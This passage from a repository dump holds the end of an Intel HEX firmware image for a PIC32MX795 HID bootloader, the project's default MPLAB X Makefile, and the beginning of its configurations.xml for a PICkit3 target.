023c5052438c4429037c505243ac26\r\n:102f38000002a2260400428c800042303200401475\r\n:102f480000a0023c1402429080004230ff00423050\r\n:102f58000b00401002000224308082a35c80828f24\r\n:102f68000300401400000000b410400f00000000ef\r\n:102f7800508080af6c8080af370d400bffff10266c\r\n:102f88004880828f02004390020051a003004490c1\r\n:102f9800fcff032424188300030043a04880828f89\r\n:102fa8004080842700e0837c04004590040044a00e\r\n:102fb8000500449002220300050044a00600449046\r\n:102fc80002240300060044a007004490021e0300e8\r\n:102fd800070043a0000043908cff0324000043a097\r\n:102fe80001004390010040a07480828f000043904c\r\n:102ff80084ff0324000043a001004390010040a087\r\n:10300800370d400bffff102640808293800042302e\r\n:10301800ff00423011004010020002240100022487\r\n:10302800308082a33880828f0300401400000000a3\r\n:10303800b410400f00000000508080af6c8080af5b\r\n:103048001c80828f23014014ffff10261c10400fa4\r\n:1030580000000000380d400bff001032308082a3c2\r\n:103068004880828f02004390020051a003004490e0\r\n:10307800fcff032424188300030043a04880828fa8\r\n:103088004080842700e0837c04004590040044a02d\r\n:103098000500449002220300050044a00600449065\r\n:1030a80002240300060044a007004490021e030007\r\n:1030b800070043a00000439084ff0324000043a0be\r\n:1030c80001004390010040a0508080af6c8080af29\r\n:1030d8001c80828fff004014ffff10261c10400f39\r\n:1030e80000000000380d400bff0010323080849340\r\n:1030f800020002247a008254308080a3c0180300a2\r\n:10310800211876000000668c003cc67c00a0023cba\r\n:103118001402428c007a427c2b204600ff00433088\r\n:103128000b3064002310460000a0033c1002632407\r\n:103138000400648c04ba447c0f00c010040064ac22\r\n:103148002110000000a0043c248087271002838cf3\r\n:103158002128e2000000a590000065a0010063247a\r\n:10316800100283ac01004224ff0043302b18660094\r\n:10317800f7ff60141002838c00a0023c1402428cfa\r\n:10318800007a427c290040104880828f02004390d8\r\n:10319800020051a003004490fcff0324241883007c\r\n:1031a800030043a04880828f2480842700e0837c2a\r\n:1031b80004004590040044a0050044900222030046\r\n:1031c800050044a00600449002240300060044a021\r\n:1031d80007004490021e0300070043a07c80838ff1\r\n:1031e8000000639040006330ff0063300800601403\r\n:1031f8000000000000004390c8ff0324000043a023\r\n:1032080001004390010040a0370d400bffff10263e\r\n:103218000000439088ff0324000043a0010043906e\r\n:10322800010040a0370d400bffff1026020043901d\r\n:10323800020051a003004490fcff032424188300db\r\n:10324800030043a04880828f4080842700e0837c6d\r\n:1032580004004590040044a00500449002220300a5\r\n:10326800050044a00600449002240300060044a080\r\n:1032780007004490021e0300070043a0000043908b\r\n:1032880084ff0324000043a001004390010040a0f4\r\n:1032980000a0023c100242240a0043880700439819\r\n:1032a8000400601000a0023c09f860000000000063\r\n:1032b80000a0023c100242240400438cc439037c61\r\n:1032c800040043ac1c80828f82004014ffff10264c\r\n:1032d8001c10400f00000000380d400bff0010329a\r\n:1032e8005480828f7a004054548080af4880828f07\r\n:1032f80002004390020051a003004490fcff032405\r\n:1033080024188300030043a04880828f40808427cc\r\n:1033180000e0837c04004590040044a0050044902c\r\n:1033280002220300050044a0060044900224030082\r\n:10333800060044a007004490021e0300070043a0b3\r\n:10334800000043908cff0324000043a00100439039\r\n:10335800010040a0370d400bffff10265d005154bf\r\n:10336800ffff1026748082270000438c00007e90a7\r\n:103378000000439008006338000043a07080828feb\r\n:103388000c0051148001de7f42808393ff0063307c\r\n:1033980088bf023c605243ac6052428c040040102b\r\n:1033a8000400022410000224ef0c400b708082af4e\r\n:1033b800708082af30808393010002242d00621454\r\n:1033c80000a0023c7480828f2480842700e0837ce4\r\n:1033d80004004590040044a0050044900222030024\r\n:1033e800050044a00600449002240300060044a0ff\r\n:1033f80007004490021e0300070043a03f11400f3e\r\n:1034080000000000808083930200022408006214f8\r\n:103418007480828f0000439084ff0324000043a03f\r\n:1034280001004390010040a0370d400bffff10261c\r\n:103438000900c017000000007480828f00004390cc\r\n:10344800c8ff0324000043a001004390010040a0ee\r\n:10345800370d400bffff10260000439088ff032420\r\n:10346800000043a001004390010040a0370d400b2d\r\n:10347800ffff10261402429080004230ff004230c5\r\n:1034880013004050308080a300a0023c1002422468\r\n:103498000a004388070043980400601000a0023c1b\r\n:1034a80009f860000000000000a0023c100242245d\r\n:1034b8000400438cc439037c040043ac360d400b34\r\n:1034c800308080a320808527cd12400f2130000056\r\n:1034d800ffff1026ff001032eefb001688bf023ceb\r\n:1034e80088bf023c4010438c44ce037c401043ac60\r\n:1034f8003c00bf8f3800be8f3400b78f3000b68fc6\r\n:103508002c00b58f2800b48f2400b38f2000b28f11\r\n:103518001c00b18f1800b08f0800e0034000bd27e1\r\n:020000040000fa\r\n:020000041d00dd\r\n:10352800d8ffbd272400bfaf2000b4af1c00b3af45\r\n:103538001800b2af1400b1af1000b0af8c80829306\r\n:103548002f00401400a0023c0c80828f06004050df\r\n:103558000880828f0000429080004230ff00423095\r\n:10356800050140140880828f070040140000000005\r\n:1035780000a0023c4004422400a0033cc004632491\r\n:103588006b0d400b40004524000042908000423003\r\n:10359800ff004230f7ff401000a0023c610e400bd4\r\n:1035a8002400bf8f00004490000064a00100422462\r\n:1035b800fcff4514010063240100042421280000b5\r\n:1035c80000a0063c4004c6246e10400f40000724ab\r\n:1035d800088082af010002248c8082a300a0023cf4\r\n:1035e8008004422440004324000040a001004224fb\r\n:1035f800feff4354000040a0610e400b2400bf8f23\r\n:10360800c00443900900632cdc0060102400bf8fc5\r\n:10361800c004439080180300009d023c38364224c1\r\n:10362800211043000000428c080040000000000008\r\n:103638008039009d8039009d7036009dfc36009dc4\r\n:103648005c36009d9c37009d8438009d9c38009d09\r\n:103658005c39009d858082933e00401c001d103c13\r\n:10366800e20d400b81bf023c00a0023c0200032493\r\n:10367800800443a08004422438000324010043a0ae\r\n:1036880003000324020043a001000324030043a015\r\n:10369800001d033c00506324040043ac9080848fd9\r\n:1036a80023188300080043acffff03240c0043a049\r\n:1036b8000c80828f07004010010004240000429013\r\n:1036c80080004230ff004230ac0040142400bf8f1d\r\n:1036d800010004240100052400a0063c8004c6243f\r\n:1036e8006e10400f400007240c8082af600e400b24\r\n:1036f8008c8080a300a0023cc10442900a004014c0\r\n:1037080088bf023c6020438c021b0300858083a392\r\n:103718006020438c001d023c21106200908082af23\r\n:10372800d50d400b8d8080a36020438c021b0300c5\r\n:10373800858083a36020438c001d023c2110620019\r\n:10374800908082af010002248d8082a3600e400b1e\r\n:103758008c8080a300501026218800002413400f7d\r\n:10376800212000023608400f01003126858082930f\r\n:103778002a102202f9ff40140010102681bf023cd3\r\n:1037880000f4438c8473037c00f443ac600e400b5c\r\n:103798008c8080a3ffff02248880838f0600621438\r\n:1037a80000a0023cc004422404004388010043985e\r\n:1037b800888083af00a0023cc004422404004388f0\r\n:1037c800010043988880828f6b0062548c8080a3ac\r\n:1037d80000a0023cc50442900400432c250060145c\r\n:1037e8002180000000a0123c000552263800132456\r\n:1037f80000a0113cc00431260e0014248480839359\r\n:103808008020030021209200231062020300452437\r\n:10381800000046280b10a6008310020021100202a7\r\n:103828000200422480100200211051000000428c46\r\n:10383800000082ac01006224ff004230848082a331\r\n:103848008880838f0400632403005414888083af26\r\n:10385800b612400f0000000001001026ff001032d1\r\n:1038680005002292821802002b180302e4ff60145c\r\n:1038780084808393600e400b8c8080a3b612400f27\r\n:1038880000000000ffff0224888082af600e400b1a\r\n:103898008c8080a30c80828f0600405000a0023ce0\r\n:1038a8000000429080004230ff0042303200401455\r\n:1038b80000a0023c07000324800443a000a0043cad\r\n:1038c800c00484240400838801008398800442246f\r\n:1038d800040043a8010043b805008490050044a0f3\r\n:1038e80082200400120080100e00022423104400dd\r\n:1038f800ffff8824ff000831232004010f008824db\r\n:1039080000a0073c8004e7240080063c0200442411\r\n:103918008020040021208700252866000000a58c4f\r\n:10392800000085ac01004224f8ff48140400632419\r\n:10393800010004240100052400a0063c8004c624dc\r\n:103948006e10400f400007240c8082af600e400bc1\r\n:103958008c8080a388bf023c505240acffff0234e9\r\n:1039680040000000ffff4224fdff4014000000005b\r\n:103978006312400f000000002400bf8f2000b48fa6\r\n:103988001c00b38f1800b28f1400b18f1000b08fd5\r\n:083998000800e0032800bd2730\r\n:020000040000fa\r\n:020000041d00dd\r\n:1039a00088bf023c7010438c44ce037c701043ac43\r\n:1039b000ff00022488bf033c205262ac88bf033c56\r\n:1039c000005262ac88bf023c005340ac88bf023c4e\r\n:1039d000105340ac88bf023ce05240ac9f00022430\r\n:1039e00088bf033c305262ac88bf033c105262accb\r\n:1039f00088bf023c7050438c0f006330705043ac62\r\n:103a00007050438c705043ac88bf023c8050438c54\r\n:103a1000010004240400837c805043ac00a0023cdd\r\n:103a20000004422400e0427c0226020088bf033cde\r\n:103a3000d05264ac0224020088bf033cc05264ac84\r\n:103a40000212020088bf033c705262ac21100000d9\r\n:103a500000a0053c0004a52408000424c0180200ae\r\n:103a6000211865002130000021380000000066acfc\r\n:103a7000040067ac01004224f9ff4414c01802009e\r\n:103a800088bf023c5052438c010004244408837ccc\r\n:103a9000505243ac88bf033c605260ac5052438ce0\r\n:103aa0004429037c505243ac5052438c4408037c5d\r\n:103ab000505243ac88bf023c0052428c0800423056\r\n:103ac0000f0040100800042488bf053c88bf033c59\r\n:103ad0000052a4ac0052628c08004230fcff40143b\r\n:103ae00000a0023c040240a000a0023c10024224bc\r\n:103af000040040a00400438c04ba037c040043acdf\r\n:103b0000010002246c8082af508082af388080af89\r\n:103b10005c8080af588080af608080af188080a3c9\r\n:103b20003c8080a3788080af648080af198080a3c0\r\n:103b30003d8080a300a0023c10044224748082af28\r\n:103b40000d00032488bf023c005343ac408084270f\r\n:103b500000e0847c00a0023c00044324040064ac28\r\n:103b60000004438c0800042404cc837c000443ac90\r\n:103b700084000324000443a4688080a30800e003b9\r\n:043b8000708080af22\r\n:020000040000fa\r\n:020000041d00dd\r\n:103b8400ff00843088bf023c5052428c20004230f7\r\n:103b940068004010802004007480822721204400a3\r\n:103ba4000000828c00004390010045900200459083\r\n:103bb400030045900400459005004590060045909b\r\n:103bc400070045904000633000004590000043a08a\r\n:103bd40001004390010040a002004390020040a075\r\n:103be40003004390030040a004004390040040a05d\r\n:103bf40005004390050040a006004390060040a045\r\n:103c040007004390070040a00000828c000047900a\r\n:103c1400ff00e73001004690ff00c6300032060086\r\n:103c24002530c70002004390ff006330001c0300ee\r\n:103c34002518660003004590002e05002528a300e2\r\n:103c440004004890ff00083105004790ff00e7306a\r\n:103c5400003a07002538e80006004690ff00c63009\r\n:103c6400003406002530c70007004390001e0300ff\r\n:103c7400251866004000a53800004690000045a0c5\r\n:103c84000100469002320500010046a00200469061\r\n:103c940002340500020046a003004690022e0500ef\r\n:103ca400030045a004004590040043a0050045908e\r\n:103cb400022a0300050045a006004590022c0300db\r\n:103cc400060045a007004590021e0300070043a01c\r\n:103cd4000000829008004238000082a00000828c1c\r\n:103ce400000043900100459040006330ffff6330c3\r\n:103cf40000004590000043a001004390010040a053\r\n:103d04000000828c00004490ff0084300100439046\r\n:103d1400ff006330001a0300251864004000633874\r\n:103d240000004490000043a001004490021a0300e4\r\n:0c3d3400010043a00800e00300000000b4\r\n:020000040000fa\r\n:020000041d00dd\r\n:103d40001680829705004014ffff422410270224aa\r\n:103d5000168082a716808297ffff4224ffff423021\r\n:103d6000168082a788bf033c8050638c02006330ba\r\n:103d7000100060107080838f0c00401488bf023cdc\r\n:103d80002061448c080084300100842c2061438c25\r\n:103d9000c418837c206143ac2061448cc000847cc7\r\n:103da0002061438c8410837c206143ac0800e003d5\r\n:103db000000000000a0060140100042488bf023cd7\r\n:103dc0002061438cc418037c206143ac2061438c88\r\n:103dd0008410037c206143ac0800e0030000000075\r\n:103de0000a0064540200042488bf023c2061438c12\r\n:103df000c418837c206143ac2061438c8410837c95\r\n:103e0000206143ac0800e003000000000b006414d4\r\n:103e10000400042488bf023c2061438c0100042478\r\n:103e2000c418837c206143ac2061438c8410037ce4\r\n:103e3000206143ac0800e003000000000b006414a4\r\n:103e40001000042488bf023c2061438cc418037c0a\r\n:103e5000206143ac2061438c010004248410837ce6\r\n:103e6000206143ac0800e003000000000e00641471\r\n:103e700020000424cdff401488bf023c2061448c04\r\n:103e8000080084300100842c2061438cc418837c9a\r\n:103e9000206143ac2061438c8410037c206143acdf\r\n:103ea0000800e003000000000f00641400000000a0\r\n:103eb000beff401488bf023c2061448c080084305f\r\n:103ec0000100842c2061438cc418837c206143aca6\r\n:103ed0002061448c080084300100842c2061438cd4\r\n:103ee0008410837c206143ac0800e00300000000e4\r\n:020000040000fa\r\n:020000041d00dd\r\n:103ef000408083931f006330010002245a00621443\r\n:103f00000000000044808293ff00423056004014bd\r\n:103f10000000000041808393ff006330060002240c\r\n:103f2000210062140000000043808293ff004230b1\r\n:103f30002100032405004310220003241a00431427\r\n:103f400068808393e00f400b010002246880839314\r\n:103f5000010002241400621400a0023c009d033cf6\r\n:103f600026206324000243ac0002422409000324fb\r\n:103f7000080043a4c0ff0324ea0f400b040043a041\r\n:103f80000900621400a0023c009d033ca0206324b1\r\n:103f9000000243ac000242241d000324080043a495\r\n:103fa000c0ff0324040043a040808393600063307b\r\n:103fb000200002242c006214000000004180829343\r\n:103fc000ff004230030003241b0043100400432c75\r\n:103fd000060060100a000324020003242200431498\r\n:103fe00000a0023c0110400b838083270c0043108b\r\n:103ff0000b0003241c00431480ff03241710400b04\r\n:1040000000a0023c000243ac000242240100032451\r\n:10401000080043a4c1ff03240800e003040043a0f8\r\n:1040200080ff032400a0023c040243a0438082934b\r\n:104030000800e003838082a300a0023c82808327e3\r\n:10404000000243ac0002422401000324080043a400\r\n:1040500081ff03240800e003040043a0040243a0fe\r\n:1040600042808293828082a30800e0030000000067\r\n:020000040000fa\r\n:020000041d00dd\r\n:104070006c80828f18004014010002246c8082af93\r\n:104080005080828f1400401401000224508082afbf\r\n:1040900030808293020003241100431401000324a2\r\n:1040a000748083270000628c02004490020040a0cc\r\n:1040b00003004590fcff04242420a400030044a036\r\n:1040c0000000628c00004390c8ff0324000043a05e\r\n:1040d00001004390010040a00800e0030000000040\r\n:1040e0003300431400000000548080af7c80828f36\r\n:1040f0000200439008000824020048a003004390f7\r\n:10410000fcff072424186700030043a07c80828ff3\r\n:104110004080862700e0c37c04004490040046a051\r\n:1041200005004490022a0300050045a006004490c3\r\n:1041300002240300060044a007004990021e030069\r\n:10414000070043a00000499084ff0924000049a013\r\n:1041500001004990010040a001000224548082af78\r\n:104160004880828f02004990020048a003004890d6\r\n:1041700024380701030047a04880828f040047903d\r\n:10418000040046a005004690050045a006004590a5\r\n:10419000060044a007004490070043a0000043909d\r\n:1041a00080ff0324000043a001004390010040a0d1\r\n:0841b0000800e003000000001c\r\n:020000040000fa\r\n:020000041d00dd\r\n:1041b800ff008430ff00a5300600a010ff00e730a4\r\n:1041c8008010040074808327211062007b10400b4c\r\n:1041d8000000438c80100400608083272110620057\r\n:1041e8000000438c360060102110000000e0c27c03\r\n:1041f80004006890040066a0050066900232020080\r\n:10420800050066a00600669002340200060066a05b\r\n:104218000700669002160200070062a00200629082\r\n:10422800020067a003006290fcff06242410c2006d\r\n:10423800030062a0000062900100669040004230d6\r\n:10424800ffff423000006690000062a0010062900b\r\n:10425800010060a000006690ff00c6300100629077\r\n:10426800ff00423000120200251046008800423448\r\n:1042780000006690000062a0010066900212020031\r\n:10428800010062a00800a01080200400748082272a\r\n:10429800212044000000829008004238000082a0db\r\n:1042a8000800e0032110600060808227212044007c\r\n:1042b8000000829008004238000082a021106000af\r\n:0842c8000800e0030000000003\r\n:020000040000fa\r\n:020000041d00dd\r\n:1042d000e8ffbd271400bfaf388080af5c8080af9f\r\n:1042e00030808393020002241d0062144880828f74\r\n:1042f0000200439008000324020043a003004490fe\r\n:10430000fcff032424188300030043a04880828f0d\r\n:104310002480842700e0837c04004590040044a0ae\r\n:104320000500449002220300050044a006004490ca\r\n:1043300002240300060044a007004490021e03006c\r\n:10434000070043a000004390c8ff0324000043a0df\r\n:1043500001004390010040a0f810400b1400bf8ff3\r\n:1043600046808297ffff423000a0033c080263941e\r\n:104370002b1043000400401000000000468083978b\r\n:1043800000a0023c080243a43f11400f00000000bf\r\n:104390007480828f2480842700e0837c0400459011\r\n:1043a000040044a00500449002220300050044a03c\r\n:1043b0000600449002240300060044a00700449035\r\n:1043c000021e0300070043a000004390c8ff03241f\r\n:1043d000000043a001004390010040a01400bf8fe3\r\n:0843e0000800e0031800bd27ee\r\n:020000040000fa\r\n:020000041d00dd\r\n:1043e800e8ffbd271000b0af1400bfaf5d13400f4a\r\n:1043f8002180800088bf053c0030a78c0003e77c43\r\n:104408000800e014004003360010042488bf033c71\r\n:10441800083064ac0030a38c00086330fdff6014e2\r\n:104428000040033681bf103c00f403ae004806404c\r\n:104438000048034023186600f000632cfcff60145a\r\n:1044480099aa043c81bf033c5566842410f464aceb\r\n:104458006655043caa99843410f464ac0080043492\r\n:1044680081bf033c08f464ac00f4038e0080633021\r\n:10447800fdff60140040042481bf033c04f464acd5\r\n:104488001200e010001004240030a38c0003637ca9\r\n:104498000600601488bf033c083064ac0030a38c6d\r\n:1044a80000086330fdff6014000000003613400f61\r\n:1044b8002120400000f4028e1400bf8f1000b08f3e\r\n:1044c800003042300800e0031800bd2788bf033cd5\r\n:1044d800043064ac3613400f2120400000f4028ef3\r\n:1044e8001400bf8f1000b08f003042300800e00386\r\n:0444f8001800bd27c4\r\n:020000040000fa\r\n:020000041d00dd\r\n:1044fc0000a0023c080243940800642c0c008010bd\r\n:10450c0008000224ff006230808083930400601452\r\n:10451c0001000424010003244f11400b808083a36d\r\n:10452c000400641400a0043c02000324808083a3d4\r\n:10453c0000a0043c00028424080083942318620029\r\n:10454c00080083a47480838f02006690020062a02e\r\n:10455c0003006590fcff06242428c500030065a019\r\n:10456c0024808327348083af0400838c0100633064\r\n:10457c0005006010000000001200401400a0053c73\r\n:10458c000800e00300000000fdff401000a0053c07\r\n:10459c003480848f0002a38c00006690000086a0fb\r\n:1045ac0001008424348084af01006324ffff422483\r\n:1045bc00ff004230f6ff40140002a3ac0800e003f9\r\n:1045cc00000000003480848f0002a38c00006690f1\r\n:1045dc00000086a001008424348084af0100632491\r\n:1045ec00ffff4224ff004230f6ff40140002a3ac50\r\n:0845fc000800e00300000000cc\r\n:020000040000fa\r\n:020000041d00dd\r\n:10460400ff00843024008014ff00a5304880828f8e\r\n:104614000200439008000324020043a003004490d6\r\n:10462400fcff032424188300030043a04880828fe6\r\n:104634004080842700e0837c04004590040044a06b\r\n:104644000500449002220300050044a006004490a3\r\n:1046540002240300060044a007004490021e030045\r\n:10466400070043a0000043908cff0324000043a0f4\r\n:1046740001004390010040a07480828f00004390a9\r\n:1046840084ff0324000043a001004390010040a0e4\r\n:104694000800e00300000000402004002120a400e2\r\n:1046a4000021040000a0033c0004632421106400e2\r\n:1046b4000000469001004590002a05002528a60028\r\n:1046c4008400a534ffffa530000045a0022a0500a0\r\n:1046d400010045a008008424212064000000839088\r\n:1046e400010082900012020025104300840042342d\r\n:1046f400ffff4230000082a0021202000800e00323\r\n:04470400010082a08e\r\n:020000040000fa\r\n:020000041d00dd\r\n:10470800a8ffbd270400a1af0800a2af0c00a3af0b\r\n:104718001000a4af1400a5af1800a6af1c00a7afe7\r\n:104728002000a8af2400a9af2800aaaf2c00abaf87\r\n:104738003000acaf3400adaf3800aeaf3c00afaf27\r\n:104748004000b8af4400b9af4800bfaf1240000006\r\n:104758004c00a8af104000005000a8af006804400b\r\n:10476800006005404713400f000000005000a88f6c\r\n:10477800110000014c00a88f130000010400a18f54\r\n:104788000800a28f0c00a38f1000a48f1400a58f1f\r\n:104798001800a68f1c00a78f2000a88f2400a98fbf\r\n:1047a8002800aa8f2c00ab8f3000ac8f3400ad8f5f\r\n:1047b8003800ae8f3c00af8f4000b88f4400b98fef\r\n:1047c8004800bf8f5800bd27c000000018000042f5\r\n:020000040000fa\r\n:020000041d00dd\r\n:1047d800e8ffbd271400bfaf88bf023c0061438ccf\r\n:1047e80001000424c439837c006143ac00a0023c6e\r\n:1047f800108082af88bf023c1061428c800042303a\r\n:104808001500401081bf023c00f6428c4000423047\r\n:104818000600401000a0023c0000438c3412023c09\r\n:10482800785642240c00621000a0023c000040ac04\r\n:10483800009d023c0060438cffff022406006210ca\r\n:10484800009d023c0060422409f84000000000007e\r\n:104858001612400b00000000680e400f0000000018\r\n:104868004512400f000000004000032481bf023cb5\r\n:1048780004f643ac1080828f000040ac3608400f2d\r\n:1048880000000000e312400f000000002112400b5e\r\n:04489800000000001c\r\n:020000040000fa\r\n:020000041d00dd\r\n:10489c00e0ffbd271c00bfaf1800b2af1400b1afd2\r\n:1048ac001000b0afff009130ff00b03008000232b2\r\n:1048bc000400401021900002212020028112400fa0\r\n:1048cc0021280000040052320500405200891100da\r\n:1048dc00212020028112400f0100052400891100c3\r\n:1048ec0088bf023c0053422421885100000030a2b2\r\n:1048fc001c00bf8f1800b28f1400b18f1000b08f46\r\n:08490c000800e0032000bd27b4\r\n:020000040000fa\r\n:020000041d00dd\r\n:10491400f0ff023488bf033c206162ac88bf033cd3\r\n:10492400006162ac88bf033c0061648c0100022416\r\n:10493400c439447c006164ac0061648c8431447c7f\r\n:10494400006164ac088080af0c8080af048082afcb\r\n:1049540088bf033c6020648c02230400858084a308\r\n:104964006020648c001d033c21188300908083af79\r\n:104974008d8082a38c8080a3ffff0224888082af75\r\n:084984000800e003848080a319\r\n:020000040000fa\r\n:020000041d00dd\r\n:10498c00e8ffbd271400bfaf5d13400f000000000f\r\n:10499c0088bf023c0030438c0003637c0800601429\r\n:1049ac0099aa033c0010042488bf033c083064ac73\r\n:1049bc000030438c00086330fdff601499aa033c5f\r\n:1049cc0081bf023c5566632430f240ac30f243acfc\r\n:1049dc006655033caa99633430f243ac81bf023c68\r\n:1049ec000100032418f643ac81bf023c10f6428c44\r\n:0849fc007f12400b00000000d7\r\n:020000040000fa\r\n:020000041d00dd\r\n:104a0400401804002118a3000019030000a0023c70\r\n:104a1400000442242110430000004390c439037c65\r\n:104a2400000043a00500a0148020040060808327b8\r\n:104a3400212064009312400b000082ac7480832711\r\n:104a440021206400000082ac000043908431037c88\r\n:104a5400000043a008004390010004248431837cb7\r\n:0c4a6400080043a00800e0030000000070\r\n:020000040000fa\r\n:020000041d00dd\r\n:104a7000000200a04002000000000000080000a0aa\r\n:104a800004000000000000000c0000a00400000072\r\n:104a900000000000040000a004000000010000006d\r\n:104aa00001000000100000a0040000000000000051\r\n:104ab000140000a00200000000000000160000a08a\r\n:104ac0000200000000000000400400a040010000bf\r\n:084ad0000000000000000000de\r\n:020000040000fa\r\n:020000041d00dd\r\n:104ad800e8ffbd271400bfaf1000b0af84808493f7\r\n:104ae8000d00801000a0103c000510268020040056\r\n:104af8008880828f232044001713400f0000058e02\r\n:104b080084808493ffff8424ff008430848084a3fe\r\n:104b1800f6ff801404001026400000001400bf8f28\r\n:0c4b28001000b08f0800e0031800bd274b\r\n:020000040000fa\r\n:020000041d00dd\r\n:104b3400e8ffbd27030002240a0082101400bfaf5f\r\n:104b4400720002240b008210010002240c00821463\r\n:104b54001400bf8f0813400f00000000e012400b48\r\n:104b6400010002242f13400f00000000e012400b4c\r\n:104b74000100022440000000010002241400bf8f41\r\n:084b84000800e0031800bd2742\r\n:020000040000fa\r\n:020000041d00dd\r\n:104b8c00e8ffbd271400bfaf0480828f04004010e3\r\n:104b9c007080828f500f400f000000007080828f59\r\n:104bac002000422c0700401488bf023c8050428ced\r\n:104bbc0002004230040040141400bf8f4a0d400f15\r\n:104bcc00000000001400bf8f0800e0031800bd2790\r\n:020000040000fa\r\n:020000041d00dd\r\n:104bdc0088bf023c5052438c010004248410837c17\r\n:104bec00505243ac08070224ffff4224ffff42301f\r\n:104bfc00feff4014ffff4224148080a788bf023cb4\r\n:104c0c005052438c8410037c505243ac0800e00398\r\n:044c1c000000000094\r\n:020000040000fa\r\n:020000041d00dd\r\n:104c2000e8ffbd271400bfaf010004242712400f86\r\n:104c30001d000524010004242128000000a0063cda\r\n:104c40004004c6246e10400f40000724088082af45\r\n:0c4c50001400bf8f0800e0031800bd270f\r\n:020000040000fa\r\n:020000041d00dd\r\n:104c5c0000e0827c81bf033ce8ffbd2720f462acfe\r\n:104c6c000140042481bf023c1400bfaf30f445acba\r\n:104c7c00fa10400f000000001400bf8f0800e00382\r\n:044c8c001800bd2728\r\n:020000040000fa\r\n:020000041d00dd\r\n:104c9000e8ffbd2700e0837c81bf023c0440042480\r\n:104ca0001400bfaf20f443acfa10400f0000000026\r\n:0c4cb0001400bf8f0800e0031800bd27af\r\n:020000040000fa\r\n:020000041d00dd\r\n:104cbc00e8ffbd271400bfafbc0f400f0000000081\r\n:0c4ccc001400bf8f0800e0031800bd2793\r\n:020000040000fa\r\n:020000041d00dd\r\n:104cd8000100843003008014000000000800e00395\r\n:0c4ce800006060410800e00320606041b3\r\n:020000040000fa\r\n:020000041d00dd\r\n:104cf40000601a40bfff1b3cffff7b3724d05b03df\r\n:104d040000609a4018000042f611400f00000000b5\r\n:084d1400ffff00100000000089\r\n:020000040000fa\r\n:020000041d00dd\r\n:0c4d1c003f0000704813400b0000000036\r\n:020000040000fa\r\n:020000041d00dd\r\n:0c4d28003f0000704b13400b0000000027\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d34000800e003000000008c\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d3c000800e0030000000084\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d44000800e003000000007c\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d4c000800e0030000000074\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d54000800e003000000006c\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d5c000800e0030000000064\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d64000800e003000000005c\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d6c000800e0030000000054\r\n:020000040000fa\r\n:020000041d00dd\r\n:084d74000800e0030060624149\r\n:00000001FF\r\n"
  },
  {
    "path": "firmware/Pic32/HIDBoot_MX795_Hex_Load.X/Makefile",
    "content": "#\n#  There exist several targets which are by default empty and which can be \n#  used for execution of your targets. These targets are usually executed \n#  before and after some main targets. They are: \n#\n#     .build-pre:              called before 'build' target\n#     .build-post:             called after 'build' target\n#     .clean-pre:              called before 'clean' target\n#     .clean-post:             called after 'clean' target\n#     .clobber-pre:            called before 'clobber' target\n#     .clobber-post:           called after 'clobber' target\n#     .all-pre:                called before 'all' target\n#     .all-post:               called after 'all' target\n#     .help-pre:               called before 'help' target\n#     .help-post:              called after 'help' target\n#\n#  Targets beginning with '.' are not intended to be called on their own.\n#\n#  Main targets can be executed directly, and they are:\n#  \n#     build                    build a specific configuration\n#     clean                    remove built files from a configuration\n#     clobber                  remove all built files\n#     all                      build all configurations\n#     help                     print help mesage\n#  \n#  Targets .build-impl, .clean-impl, .clobber-impl, .all-impl, and\n#  .help-impl are implemented in nbproject/makefile-impl.mk.\n#\n#  Available make variables:\n#\n#     CND_BASEDIR                base directory for relative paths\n#     CND_DISTDIR                default top distribution directory (build artifacts)\n#     CND_BUILDDIR               default top build directory (object files, ...)\n#     CONF                       name of current configuration\n#     CND_ARTIFACT_DIR_${CONF}   directory of build artifact (current configuration)\n#     CND_ARTIFACT_NAME_${CONF}  name of build artifact (current configuration)\n#     CND_ARTIFACT_PATH_${CONF}  path to build artifact (current configuration)\n#     CND_PACKAGE_DIR_${CONF}    directory of package (current configuration)\n#     CND_PACKAGE_NAME_${CONF}   name of package (current configuration)\n#     CND_PACKAGE_PATH_${CONF}   path to package (current configuration)\n#\n# NOCDDL\n\n\n# Environment \nMKDIR=mkdir\nCP=cp\nCCADMIN=CCadmin\nRANLIB=ranlib\n\n\n# build\nbuild: .build-post\n\n.build-pre:\n# Add your pre 'build' code here...\n\n.build-post: .build-impl\n# Add your post 'build' code here...\n\n\n# clean\nclean: .clean-post\n\n.clean-pre:\n# Add your pre 'clean' code here...\n\n.clean-post: .clean-impl\n# Add your post 'clean' code here...\n\n\n# clobber\nclobber: .clobber-post\n\n.clobber-pre:\n# Add your pre 'clobber' code here...\n\n.clobber-post: .clobber-impl\n# Add your post 'clobber' code here...\n\n\n# all\nall: .all-post\n\n.all-pre:\n# Add your pre 'all' code here...\n\n.all-post: .all-impl\n# Add your post 'all' code here...\n\n\n# help\nhelp: .help-post\n\n.help-pre:\n# Add your pre 'help' code here...\n\n.help-post: .help-impl\n# Add your post 'help' code here...\n\n\n\n# include project implementation makefile\ninclude nbproject/Makefile-impl.mk\n\n# include project make variables\ninclude nbproject/Makefile-variables.mk\n"
  },
  {
    "path": "firmware/Pic32/HIDBoot_MX795_Hex_Load.X/nbproject/configurations.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configurationDescriptor version=\"62\">\n  <logicalFolder name=\"root\" displayName=\"root\" projectFiles=\"true\">\n    <logicalFolder name=\"LoadableFiles\"\n                   displayName=\"Loadable Files\"\n                   projectFiles=\"true\">\n      <itemPath>HIDBoot.X.production.hex</itemPath>\n    </logicalFolder>\n    <logicalFolder name=\"Important Files\"\n                   displayName=\"Important Files\"\n                   projectFiles=\"false\">\n    </logicalFolder>\n  </logicalFolder>\n  <projectmakefile>Makefile</projectmakefile>\n  <confs>\n    <conf name=\"default\" type=\"4\">\n      <toolsSet>\n        <developmentServer>localhost</developmentServer>\n        <targetDevice>PIC32MX795F512L</targetDevice>\n        <targetHeader></targetHeader>\n        <targetPluginBoard></targetPluginBoard>\n        <platformTool>PICkit3PlatformTool</platformTool>\n        <languageToolchain></languageToolchain>\n        <languageToolchainVersion></languageToolchainVersion>\n        <platform>2</platform>\n      </toolsSet>\n      <compileType>\n        <linkerTool>\n          <linkerLibItems>\n          </linkerLibItems>\n        